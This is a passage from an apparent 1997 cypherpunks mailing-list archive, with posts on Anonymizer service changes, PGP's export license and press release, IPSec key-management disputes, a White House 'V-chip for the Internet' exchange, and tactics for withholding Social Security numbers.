(www.Anonymizer.com).

First, we have fixed the HTTP_X_FORWARDED_FOR and HTTP_VIA security holes.
This was a problem for people accessing The Anonymizer though a web proxy.

Second, we have introduced accounts on the Anonymizer. The poor performance
of The Anonymizer (to put it lightly) has been due to our attempts to keep
it from completely swamping our T1. Paid accounts on The Anonymizer bypass
the slowdown mechanisms, and also provide access to anonymous news and
anonymous anonymous FTP.

Finally, while it has been true for some time, it is not widely known that
the Anonymizer is owned and operated by Infonex. We took over management of
the Anonymizer several months ago. For those not familiar with Infonex, we
have been active in the privacy business for some time. We host several
anonymous remailers, we offer anonymous shell accounts through our
subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
Mixmaster anonymous remailer system.

       Lance Cottrell

-- 
Lance Cottrell        President, Infonex
lcottrell@infonex.com
http://www.infonex.com/~loki





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 30 May 1997 08:14:08 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasingnumber of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <v03102802afb3c74d17f4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/enriched

For nothing is more destructive of respect for the government and the law of the land than passing laws which cannot be enforced. It is an open secret that the dangerous increase of crime in this country is closely connected with this."

-- Albert Einstein, "My First Impression of the U.S.A.", 1921


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

I know not what instruments others may use,
but as for me, give me Ecache or give me debt.

SHOW ME THE DIGITS!



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 30 May 1997 05:10:59 +0800
To: cypherpunks@cyberpass.net
Subject: Surveillance State Delayed
Message-ID: <3.0.2.32.19970529165544.0378ce64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Fascinating article in last Saturday's New York Times about INS plans to 
revoke the U.S. citizenship of 5,000 people who got that citizenship sans 
criminal background checks so they could vote for Clinton in '96.

Now, the INS revokes a big 25 citizenships a year so they really have a job 
ahead of them.  Demonstrates the enforcement challenges of bureaucracies 
living in a mass society.  They think they can get away with administrative 
revocations but even those can be appealed to federal court.  5,000 appeals 
would be quite a burden.  If they wait too long and two years pass from time 
of granting, the Service will lose the administrative option and will have to 
do full court proceedings to revoke.

Even if they revoke, the "aliens" will still have their old proofs of 
citizenship (passports, etc) as well as their former status as permanent 
residents so revocation may be meaningless in any case.

That's not the cutest bit, though.

In addition to the 5,000 new Clinton voters with provable criminal records, 
they had to go through 180,000 records of people with various sorts of 
documentation problems to see if any of them were criminals.  But the Feds 
couldn't do it themselves.  They lacked the capability.  They hired one of
the 
big accounting firms (Peat-Marwick?) to CHECK THE NAMES against the NCIC.  
They got some 9,000 positive matches but naturally, they can't tell how many 
of those 9,000 matches are false positives.  Lots of work ahead.

The gloom and doom types like to claim that it is trivial for the almighty 
Feds to find out everything about every one, look inside the souls of all of 
us, separate the good from the evil and unerringly punish the evil.  
Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
made 
by people who, otherwise, don't believe in God.

But this article on citizenship revocation gives lie to this claim of state 
power.  Citizenship applicants have submitted vast quantities of information 
about themselves to the Feds.  They have undergone years of a staged and 
complex process to move from nonresident alien to resident alien to citizen.  
At every point, they NARCed themselves out in detail directly to the federal 
government.  And yet, that same government can't even tell if these people
are 
"criminals."

If they can't efficiently surveil and regulate this group, what chance do
they 
have to regulate and surveil the other 260 million of us?

DCF
 


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM43tToVO4r4sgSPhAQHhcAP+O3Kn/rTtonspM+fWF7S/MeoV/zENTgll
Di4GCB1oZTlvU9je6ucRxpXvezsjgibmurApR22j3J0rhgHAVOCT8+EjNLAi3yGh
mwXXuCH/Z55nAXVit8mZvXSrJ8OPFWMn57Nma33uaD48QJ7AFqVxISi7+pSI91Mx
LR0oZ1nJE/8=
=oo4o
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <phm@sprynet.com>
Date: Fri, 30 May 1997 05:30:47 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
Message-ID: <338E1CFA.32D8@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell wrote:
> 
<<snip>>
> But this article on citizenship revocation gives lie to this claim of state
> power.  Citizenship applicants have submitted vast quantities of information
> about themselves to the Feds.  They have undergone years of a staged and
> complex process to move from nonresident alien to resident alien to citizen.
> At every point, they NARCed themselves out in detail directly to the federal
> government.  And yet, that same government can't even tell if these people
> are
> "criminals."
> 
> If they can't efficiently surveil and regulate this group, what chance do
> they
> have to regulate and surveil the other 260 million of us?
> 
> DCF
The important thing to remember about police state tactics is that it is
not a case of hyper-efficient use of the police -- it is hyper-use of
those powers to harass and harrangue those that they Feel like doing it
to.  No need to worry about guilt or innocence or any of that, just pick
a target and get what you can, if it isn't enough - invent.

> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM43tToVO4r4sgSPhAQHhcAP+O3Kn/rTtonspM+fWF7S/MeoV/zENTgll
> Di4GCB1oZTlvU9je6ucRxpXvezsjgibmurApR22j3J0rhgHAVOCT8+EjNLAi3yGh
> mwXXuCH/Z55nAXVit8mZvXSrJ8OPFWMn57Nma33uaD48QJ7AFqVxISi7+pSI91Mx
> LR0oZ1nJE/8=
> =oo4o
> -----END PGP SIGNATURE-----

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 30 May 1997 08:38:00 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
Message-ID: <199705300023.RAA15917@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>The gloom and doom types like to claim that it is trivial for the almighty 
>Feds to find out everything about every one, look inside the souls of all of 
>us, separate the good from the evil and unerringly punish the evil.  
>Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
>made 
>by people who, otherwise, don't believe in God.
>

not sure if you are referring to TCM here as a "gloom and doom" type.
but it seems that we ought to be able to design a government that
does not rely on the supposed inherent incompetence of bureacrats
and or humans in general for security of the citizen. in other words,
your general argument that "see!! feds are really STUPID!! they 
wouldn't be SMART enough to infringe on your rights!!" is a pretty
lame argument overall.

>But this article on citizenship revocation gives lie to this claim of state 
>power.

state power in the US, as it stands currently. but what the past shows
is that government can change abruptly. it only matters who is in 
power. I think what people here are worried about are abrupt changes
in the government, which can happen quite fast 
with e.g. new laws that are legislated. there are plenty of cases
where the entire government has changed radically *without* even
law changes. the manipulation of the ITAR and e.g. the recent
changing in policy relative to the amount of money that is reported
to FinCEN by banks are good examples. the government can change its
mind on a dime. 

  Citizenship applicants have submitted vast quantities of information 
>about themselves to the Feds.  They have undergone years of a staged and 
>complex process to move from nonresident alien to resident alien to citizen.  
>At every point, they NARCed themselves out in detail directly to the federal 
>government.  And yet, that same government can't even tell if these people
>are 
>"criminals."
>
>If they can't efficiently surveil and regulate this group, what chance do
>they 
>have to regulate and surveil the other 260 million of us?

a totalitarian state is quite possible, although difficult to conceive
of. it's a problem that some people
are interested in solving. what is most difficult is an "invisible
tyranny" in which the inhabitants are not even aware of their
imprisonment, and perhaps even defend such a situation.
 a system that we live in right now, imho. (but to elaborate on 
this would rely on conspiracy theories)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 30 May 1997 03:25:59 +0800
To: cypherpunks@algebra.com
Subject: Re: US grants export license for PGP
Message-ID: <19970529174833.14957.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


> Joey Grasty writes:
> > At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>
> > >PGP crypto approved for export
> >
> > Alright, what's the catch?  What kind of GAK does PGP have to
> > stick in to get this approval?  Encyphering minds want to know...
>
> The catch is that the license only extends to business use by
> subsidiaries of certain large US corporations.
>
> See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

Well that sure got buried by the "Truth Above All Else (tm)" press. Not
surprising however.

>
> It may be moot since some versions of PGP are available around the
> world, but this strikes me as patently unfair to all those companies
> not big enough to be on The List.
>
> On the other hand, maybe this is the beginning of the end.  It seems
> to me that it will be difficult now to deny a similar license to
> Netscape or Microsoft or...

We have so many laws in this country, doesn't one of them prevent
"discrimination" based on dollar value of corporation? ;)

How about extortion... "You must be a large company paying buttloads in
taxes and making sizeable contributions to the administration to receive
license to use PGP overseas..."

Can't we use this against them and force the license to be extended to
everyone?

>
> -- Jeff (currently employed by a Real Company :-)
>

-- Mr. E (not employed by a Sellout^H^H^H^H^H^H^HReal Company)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TSadoff197@aol.com
Date: Fri, 30 May 1997 06:20:18 +0800
To: cypherpunks@toad.com
Subject: Mailing list
Message-ID: <970529175227_487288649@emout03.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Please send





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 30 May 1997 07:35:49 +0800
To: cypherpunks@toad.com
Subject: Crypto Disputes
Message-ID: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For full versions of the stories below:

   http://jya.com/kinkey.txt

----------

     For two years, the IETF Security Group has labored to
     hammer out the IP Security (IPSec) protocol, a standard way
     that businesses can open up an encrypted link to a trading
     partner's network. The link is encrypted after authentication
     by means of an X.509 digital certificate at an IPSec-based
     firewall or gateway. 

     But an unresolved, bitter dispute over the technique for
     automatically swapping keys over the 'Net - referred to as
     key management - has resulted in two incompatible schemes
     in the IPSec specification.

     In this battle of the acronyms, the debate centers on the
     Simple Key Management for IP (SKIP), developed by Sun
     Microsystems, Inc., and the Internet Secure Association Key
     Management Protocol (ISAKMP), developed by the National
     Security Agency. 

----------

     Responding to Sun's announcement that it would license
     128-bit encryption algorithms from Elvis+Co., a Russian
     company, the White House announced that it would look into 
     Sun's actions. 

     "Sun's strategy is another brick from a wall that is coming
     down," said Jim Bidzos, president and CEO of RSA Data
     Security. "And it highlights that something is wrong with the 
     U.S. policy." 

     Sun has approximately a 10 percent equity stake in Elvis+,
     whose product is based on Sun's publicly available protocol,
     Simple Key Management for IP (SKIP). The 10 percent
     interest is thought to be key to keeping other companies from
     licensing and reselling the same technology. 

     The government's resolve, however, may be breaking down.
     Just last week, Sybase Inc. won approval to export database
     and server products with 56-bit DES encryption, even though
     the Emeryville, Calif., company has no model for key
     recovery. 

----------

     SKIP, which stands for Simple Key management for Internet
     Protocols, was submitted by Sun to the Internet Engineering
     Task Force as an Internet standard. Included in SKIP E+ are
     algorithms for 56-bit DES, two- and three-key triple DES,
     and 64- and 128-bit ciphers for encrypting network traffic
     and keys. 

     The security software was developed by Elvis+, a company
     of former Soviet space scientists with offices near Moscow.
     Sun bought a 10 percent interest in the company in 1993, but
     does not take an active role, said Steven Hunziker, chief
     operating officer of Russia Communications Research Inc.,
     Los Gatos, Calif. RCR represents Elvis+'s products in the
     U.S. 

     "RCR is really small - me and an accountant and two
     lawyers - and they watch the law like hawks," Hunziker said.
     "Elvis+ has kept a very careful distance from Sun, and those
     guys don't need anything from Sun to create the technology
     they're creating. The FBI and the CIA are just lazy, which is
     why they object." 

     "We've developed key recovery technology and gotten
     government approval, so we can export without having to
     resort to what they did," said Ken Mendelson, corporate
     counsel for Trusted Information Systems Inc., Glenwood,
     Md. 

----------

     VeriFone today announced that its Secure Electronic Transaction 
     (SET) -based product suite has received export approval from the 
     US Department of Commerce, marking the first announcement
     of a SET-based, end-to-end Internet commerce solution
     containing full strength encryption technology to be approved
     for international export. 

     VeriFone's vGATE, vPOS and vWALLET software employ
     the SET encryption protocol for transactions over the
     Internet, utilizing 1024 bit key size for public key encryption
     and digital signatures, and 64 bit DES for bulk encryption.
     This approval enables VeriFone to offer a higher level of
     end-to-end encryption than was previously available from
     U.S. corporations to international customers without special
     permission from the U.S. government. 

----------

     IBM last week took the first steps to help software vendors 
     comply with federal encryption export rules, with the 
     release into beta of a new security tool kit. 

----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 08:49:47 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705300033.UAA14527@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Press Release

      Pretty Good Privacy Receives Government Approval to Export
      Strong Encryption

      SAN MATEO, Calif., May 28, 1997 -- Pretty Good Privacy, Inc.
      (www.pgp.com), the world leader in digital privacy and security
      software, today announced that the U.S. Department of Commerce
      has approved the export of Pretty Good Privacy's encryption
      software to the overseas offices of the largest companies in the
      United States. This makes Pretty Good Privacy the only U.S.
      company currently authorized to export strong encryption
      technology not requiring key recovery to foreign subsidiaries
      and branches of the largest American companies. 

      Click here to view the list of approved companies.

      The approval allows Pretty Good Privacy to export strong,
      128-bit encryption without a requirement that the exported
      products contain key recovery features or other back doors that
      enable government access to keys. More than one-half of the
      Fortune 100 already use PGP domestically to secure their
      corporate data and communications. 

      "Now we are able to export strong encryption technology to the
      overseas offices of more than 100 of the largest companies in
      America, without compromising the integrity of the product or
      the strength of the encryption," said Phil Dunkelberger,
      President of Pretty Good Privacy, Inc. "We worked closely with
      the State Department when they controlled the export of
      encryption, and are now working with the Commerce Department.
      And we have never had a license application denied." 

      The license allows export of strong encryption technology,
      without government access to keys, to the overseas subsidiaries
      and branch offices of more than 100 of the largest American
      companies, provided that the offices are not located in
      embargoed countries, namely Cuba, Iran, Iraq, Libya, North
      Korea, Sudan or Syria. 

      "As far as we know, Pretty Good Privacy, Inc. is now the only
      company that has U.S. government approval to sell strong
      encryption to the worldwide subsidiaries and branch offices of
      such a large number of U.S. corporations, without having to
      compromise on the strength of the encryption or add schemes
      designed to provide government access to keys," said Robert H.
      Kohn, vice president and general counsel of Pretty Good Privacy.
      "Pretty Good Privacy still opposes export controls on
      cryptographic software, but this license is a major step toward
      meeting the global security needs of American companies." 

      The U.S. government restricts the export of encryption using key
      lengths in excess of 40 bits. However, 40-bit cryptography is
      considered "weak," because it can be broken in just a few hours.
      Generally, the U.S. government will grant export licenses for up
      to 56-bit encryption if companies commit to develop methods for
      government access to keys. For anything over 56 bits, actual
      methods for government access must be in place. 

      Pretty Good Privacy's license permits the export of 128-bit or
      "strong" encryption, without any requirement of a key recovery
      mechanism that enables government access to the data. A message
      encrypted with 128-bit PGP software is
      309,485,009,821,341,068,724,781,056 times more difficult to
      break than a message encrypted using 40-bit technology. In fact,
      according to estimates published by the U.S. government, it
      would take an estimated 12 million times the age of the
      universe, on average, to break a single 128-bit message
      encrypted with PGP. 

      "Pretty Good Privacy, Inc. has been working diligently to ensure
      compliance with the export control laws. Clearly, the Commerce
      Department recognizes the needs of reputable American companies
      to protect their intellectual property and other sensitive
      business information using strong cryptography," said Roszel C.
      Thomsen II, partner at the law firm of Thomsen and Burke LLP. 

      "User demand for strong cryptography is growing worldwide," said
      Marc Rotenberg, director of Electronic Privacy Information
      Center, and a leading privacy-rights advocate. "This is just one
      more example of the need to remove obstacles to the export of
      the best products the U.S. can provide." 

      Companies that are approved for the export of Pretty Good
      Privacy's strong encryption should contact Pretty Good Privacy's
      sales office at 415.572.0430 or visit the company's web site at
      www.pgp.com. Companies that are not currently on the list of
      licenses obtained by Pretty Good Privacy, but would like to gain
      approval to use strong encryption in their branch offices and
      subsidiaries around the world, should also contact Pretty Good
      Privacy at 415.572.0430 for information about how to be included
      in future government-approved export licenses for PGP. 

About Pretty Good Privacy, Inc. 

      Pretty Good Privacy (www.pgp.com), founded in March 1996, is the
      leading provider of digital-privacy products for private
      communications and the secure storage of data for businesses and
      individuals. Pretty Good Privacy's original encryption software
      for email applications (PGP) was distributed as freeware in 1991
      by Phil Zimmermann, Chief Technical Officer and Founder of
      Pretty Good Privacy, and allowed individuals, for the first
      time, to send information without risk of interception. With
      millions of users, it has since become the world leader in email
      encryption and the de facto standard for Internet mail
      encryption. Over one half of the Fortune 100 companies use PGP.
      In order to provide only the strongest encryption software,
      Pretty Good Privacy publishes all of its encryption source code
      and algorithms for extensive peer review and public scrutiny.
      The company can be reached at 415.572.0430; http://www.pgp.com. 

      For more information, please contact Mike Nelson, Pretty Good
      Privacy's Director of Corporate Communications, at 415.524.6203.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: glendale@clear.net.nz
Date: Thu, 29 May 1997 17:12:59 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <v03007800afb2f4290cc2@[203.97.50.157]>
MIME-Version: 1.0
Content-Type: text/plain



__________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
glendale@clear.net.nz           |"`-/"|_.-'"``-._
	                         o o `; -._    )-;-,_`)
                                = v_,=  _  )`-.\  ``-'
Lamb Laidir an uachdar         _.- _..-_/ / ((.'
                          O  ((,.-'   ((,/


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQEdAzOKldMAAAEIAO64pUwrhsn5ggVG3Y+kORuGoOVFgBOKJB8dP0FRIc31cQIV
JHzHh1fYMnkSPPrjofLwMZgJeMiEBeZrtR5tz4Z43vQgmprF67Tq0SL5ecBnHtf7
3xaTl4hTy1CZEAFyrGOnSn3NYdopc+gm55UXgMwlTDckKJCthwLkxlOgc4p1Ry1d
rgLBHPSCz+SXxwfwxiHcxscjRvECmhPrw7eqq9RhwEk/PIQk/8RVBYEM3E/t8vG2
ObpgDWTvJRBqZjEtpAHjCPBbEY+thbwynSVtN252Zp9Fiy4/DFkc3/NXTa81nrwY
6FoqAjIdUuqfIl65p/NvM8tSoCCt65/dX0UlWOkAhAgAAAAAAAAAAAAAAAAAAAAF
tCREYWxlIE8nQnJpZW4gPGdsZW5kYWxlQGNsZWFyLm5ldC5uej4=
=uqqS
-----END PGP PUBLIC KEY BLOCK-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 09:49:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705300124.VAA20205@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


           Last Friday, in a town hall
           meeting on education in Clarksburg, West
           Virginia, President Clinton made some news on
           the technology front. 

           Answering a question from a parent about how
           to keep children safe on the Net, the president
           talked about the Communications Decency Act's
           travails in federal court. Then he said "we're
           working on" a technological fix, a V-chip for PCs
           that could protect children from harm. Later,
           reporters pressed White House aides on
           whether there was a new V-chip initiative. The
           new chip is out there, they said, somewhere
           "within the industry." 

           From White House transcripts of the event and
           later briefings: 

           Jim Eschenmann: Mr. President, my name is
           Jim Eschenmann. I'm a proud parent of a
           4-year-old preschooler. Your administration, as
           well as the local board of education, has placed
           a large emphasis on connecting every classroom
           to the Internet. What additional measures can
           we take to protect our school students from the
           harmful areas of the Internet while guaranteeing
           full access to post-secondary students and to
           protect the freedom of speech? 

           President Clinton: Well, you know, I signed a
           bill - when I signed the telecommunications bill ...
           I had a provision in there to try to protect against
           young people being exposed to some of the
           harmful things that are on the Internet. Not just
           pornography but, as I'm sure a lot of you know
           because of the events in the news in the last
           couple of years, there are even instructions on
           how to build bombs and things like that. There
           are lot of things on there that we wouldn't want
           our children to see. 

           That provision has been thrown out by a court
           and is still in the courts, I think. So it may be that
           what we have to do is try to develop something
           like the equivalent of what we're developing for
           you for television, like the V-chip, where it's put
           in the hands of the parents or the educators.
           And then if it were in the hands of the educators
           the school board could approve certain
           guidelines. 

           It's technically more difficult with the Internet. As
           you know, there are hundreds of new services
           being added to the Internet every week. It's
           growing at an explosive capacity and we're in
           the process actually of trying to develop an
           Internet II. But I think that is the answer.
           Something like the V-chip for televisions. And
           we're working on it. I think it's a serious potential
           problem myself. 

           But let me say it would be a serious potential
           problem if they were not in the schools. I think
           putting them in the schools, because the kids
           are normally under supervision, you have a far
           less likelihood that the Internet will be abused or
           that the children will be exposed to something
           they shouldn't see during the school hours, in all
           likelihood, than at home. But I do think you need
           guidelines in both places and we're doing our
           best to try to figure out if there's some
           technological fix we can give you on it. 

           Briefing by spokeswoman Ann Lewis (22 May): 

           Q.: Three things that Clinton said - suggesting
           V-chips for the Internet, endorsing year-round
           schooling, and speaking favorably of high school
           competency tests before graduation. Are any of
           those new, or are those things he has said
           before? 

           Ann Lewis: From my understanding, looking at
           the conversations back and forth on the V-chip
           for the Internet, as you know this is a principle
           the president has talked about for a long time,
           which is giving parents the tools they need, and
           it's the principle he referred to when he
           supported the - came out in support of the
           V-chip. He thinks it continues to be an issue. 

           Second, if you go back and look at his speech
           on Net Day, when he gave a radio address and
           we did some talking about the Internet, he
           announced that he had asked the Department of
           Education and Secretary [Richard] Riley to come
           up with a parents' guide to the Internet,
           recognizing that it is a wonderful resource but
           that many families also feel they could use some
           help in ensuring that their children get the most
           out of the Internet. 

           And, third, it's our understanding, and we just
           checked this with people at the White House
           who know much more about technology than all
           of us put together, that there is in fact
           technology being developed that would serve as
           the equivalent of a V-chip for the Internet, and
           we think that's what the president referred to. 

           Q.: Clinton has talked before about giving
           parents ways to protect their children on the
           Internet, but has he ever before suggested the
           idea of a V-chip for the Internet? 

           Lewis: Not that we know of, but we know - as is
           clear, I think, from his wording, he is aware that
           the technology has been developing. 

           Q.: But has he talked about this before? 

           Lewis: We don't think so. We were going to try
           to do a huge Nexis search; that's going to take a
           long time. We don't remember that
           conversation.... 

           Q.: You said the technology is being developed
           - who is developing it? 

           Lewis: I can't, but we can get you more
           information. It's my understanding it's being
           developed within the industry. 

           Q.: That's like the stuff like Kidsitter and all the
           stuff that's already available on the Internet.
           There are a lot of sites. 

           Lewis: There are a lot of sort of monitors you
           can put on that. We think this may be a little
           more advanced, and we're trying to get more
           information. 

           White House Press Secretary Mike McCurry
           and spokesman Barry Toiv (23 May):
           Q.: Mike, yesterday the president endorsed the
           idea of a V-chip for the Internet. Was that the
           first time he did that, and how does the White
           House plan to proceed? 

           Mike McCurry: Did anyone work on that
           yesterday? That was - there is some, I think,
           R&D work, technical work that's being done to
           develop new software. I'm not sure where within
           the government they're doing it.... 

           Q.: Mike, I'm still trying to figure out, was
           yesterday the first time the president endorsed a
           V-chip for the Internet? 

           McCurry: Did you do any yesterday on the
           V-chip question? Barry [Toiv] may have handled
           this up in West Virginia yesterday. 

           Barry Toiv: Well, I'm not sure I have more than
           you got yesterday from Ann Lewis. The
           president has not specifically mentioned the
           V-chip, but this is work that we've been doing
           because he's been concerned, obviously, about
           ways that parents can help - can protect their
           kids with regard to stuff that comes through on
           the Internet. 

           Apparently, it's our understanding that
           technology does exist within the industry. It's
           being developed by the industry. And so I think
           the president was referring to that yesterday. 

           Q.: Is there any procedure that - I mean, is it
           something that - is there any kind of official
           "endorsement" you expect? 

           Toiv: Well, right now - not right at this moment,
           but it's something we're looking at. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 30 May 1997 04:32:32 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705292001.WAA05250@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 28 May 1997, Tim May wrote:

> At 5:02 PM -0400 5/27/97, Mark M. wrote:
> 
> >I don't know the reason, but the IRS tax code requires that all passport
> >applicants supply their SSNs to the IRS.  The penalty for failing to
> >notify is $500.  I recently encountered this situation and just left
> 
> Good for you, seriously, but you may not yet have heard the last of this.
> As with "frivolous returns" (such as writing comments on the tax forms

They can always harrass.  Supposedly the State Department reports to the
IRS anyone who does not give this info, but the IRS seems not to follow
up, an the only thing they could do under the law is impose the $500
penalty which would probably not survive a court challenge (I forget the
particular reasoning, but if they challenged and lost, no one would have
any fear not giving their SSNs out, similarly to why they don't charge
every cypherpunk under export laws - fear of grey is more useful than a
clear line that will be more liberal than they want).  When I applied for
a passport (specifically because it is a government recognized ID that
need not contain your social security number), I didn't write the IRS at
all (you have no duty to notify them), and IF contacted, I would simply
say "Who do I make the $500 check out to, and where do I send it, and who
should my lawyer contact to challenge it".  I have never been contacted. 

> The woman behind the desk didn't seem interested in my point and just said
> that without a valid SS number, no registration tags would be issued. It
> was then my choice to drive without tags (and get a ticket anytime a cop
> noticed this and decided to act on it) or seek some kind of legal
> restraining order (???, but probably $$$).

IANAL, but: There is another statute which says that any time a government
agency (it does not apply to corporations) asks for your SS# they have to
state the reason and authority they have to ask for it (something like a
state statute or order - I will look up the info and post here when I have
time).  Usually the behind-the-counter culture doesn't know about this. 
You can also give a religous objection. You can ask for the name of the
person and their exact title then ask nicely to speak with a manager
familar with the law or procedure, and that it might be illegal to ask for
that information without citing the authority (with the above law in
hand), etc.  Since they have to have alternate ID numbers unless they only
give licenses out to US citizens and not the Amish or others who have
religous objections - you can ask for one of these alternate numbers. You
can also be agreeable and say, OK, if you want to see my SSN so that you
can confirm that I am me, I will show it to you, but I don't want that
specific number on my license, and you can pick any number that is
convienient to you, or I can supply my standard "alternate-ID" number.

My state uses a number that is a wierd checksum of my name and birthdate
and who knows what, so it doesn't apply to my drivers license.

I had my SSN used (they didn't tell me that is what it was for, and this
was before I was as aware of the privacy matters) on a professional
license, and they did things like disclose it to people who bought their
mailing list and it appeared in some mailings.  I only had to call the
state office, explain about the problems of identity fraud, and had a new
license with a new number (which I use as my alt-id number)  within a week
(and they said they would not include SSNs with their mailing list).  Some
people are reasonable.

Generally they try to find the easiest path.  When it is clear that you
won't go away quietly, and that you are going to be more hassle than it is
worth (and that you aren't trying to evade any requirement, e.g. "You
agree that I have proper ID, and qualify in every other way, and the only
reason you won't is because I won't tell you my SSN even though you can't
cite the authority you have ...") you can usually get them to either
relent or say something slanderous in public.  A silly but necessary game.

Now if I can mail in a form, I usually use the alt-id number and write it
in place of the SSN with a note right next to it saying it is not my SSN
and that if you really want it you have to write me back and explain why
they want it.  (If they do, I send them a NDA with something to the effect
that if I find it has leaked anywhere they have to cover all costs
associated with correcting any record, etc.).  Given that they are usually
desparate to sign me up for whatever it is, and the mail is a hassle for
them, they just enter the alt-id number.  I keep a copy of the original
form with the Not-my-SSN statement in case someone wants to accuse me of
any kind of fraud.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 30 May 1997 12:33:12 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymizer upgrades
In-Reply-To: <199705292215.PAA11815@sirius.infonex.com>
Message-ID: <LH1H8D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lcottrell@infonex.com (Lance Cottrell) writes:

> Finally, while it has been true for some time, it is not widely known that
> the Anonymizer is owned and operated by Infonex. We took over management of
> the Anonymizer several months ago. For those not familiar with Infonex, we
> have been active in the privacy business for some time. We host several
> anonymous remailers, we offer anonymous shell accounts through our
> subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
> Mixmaster anonymous remailer system.
>
>        Lance Cottrell

Just what is your affiliation with C2Net, boy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 30 May 1997 15:54:59 +0800
To: cypherpunks@toad.com
Subject: Libraries!  Partial Solution to PGP Windows Wars and Source Code
Message-ID: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[There's been a major flame war on pgp-users about the lack of Win3.1 
support, and more than a few cypherpunks have asked about source.]

PGP has always had a policy of making the source code available;
it was one of the big things that let us trust it.
PGP has also been available under a variety of platforms,
whether written/ported by Phil and associates, or ported by others.

Recently, PGP Inc. has come out with several major systems, including
- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
	which have been published in book form and on the net.
	For portability and compatibility, the most important things
	are the algorithms and file formats used.
- PGP 5.0 with fancy user interface for Win32 only.

I'm assuming that PGP 5.0 is written using the PGP 3.0.1 libraries* -
if they've got any sense, they've used the same libraries with at
most some bug fixes and/or simple new features that they can put out as 
a point release, and limited the Win32-related stuff to GUIs,
interfaces to other Windows programs, and similar non-portable stuff,
some of which can be bullied into working on DOS or Win16
and some of which is too much trouble to crowbar in.
If so, then *you* can do your own GUI work on Win16, MacOS 6, and OS/360,
and be sure of interoperability with Fancy New PGP.
In particular, the user-friendliness front-end programs like pgpclip 
and Private Idaho can use the libraries instead of having to 
